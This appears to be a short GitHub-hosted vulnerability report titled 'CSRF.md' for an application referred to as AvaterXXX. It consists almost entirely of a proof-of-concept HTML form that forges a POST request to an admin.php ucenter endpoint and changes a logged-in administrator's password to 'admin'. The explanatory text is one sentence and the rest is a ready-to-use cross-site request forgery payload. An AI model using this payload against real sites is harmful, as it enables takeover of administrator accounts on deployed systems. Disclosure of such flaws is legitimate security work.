AvaterXXX Update CSRF.md History

1 contributor

20 lines (18 sloc) | 681 Bytes

After logging in, change the administrator password using the following POC

Password change to admin

POC:

```
<html>
  <body>
    <form action="http://www.a.com/admin.php/Index/ucenter" method="POST">
      <input type="hidden" name="formcheck" value="2335e6aa69c86829956978314ea54e23" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="realname" value="admin" />
      <input type="hidden" name="cpassword" value="123456" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="rpassword" value="admin" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```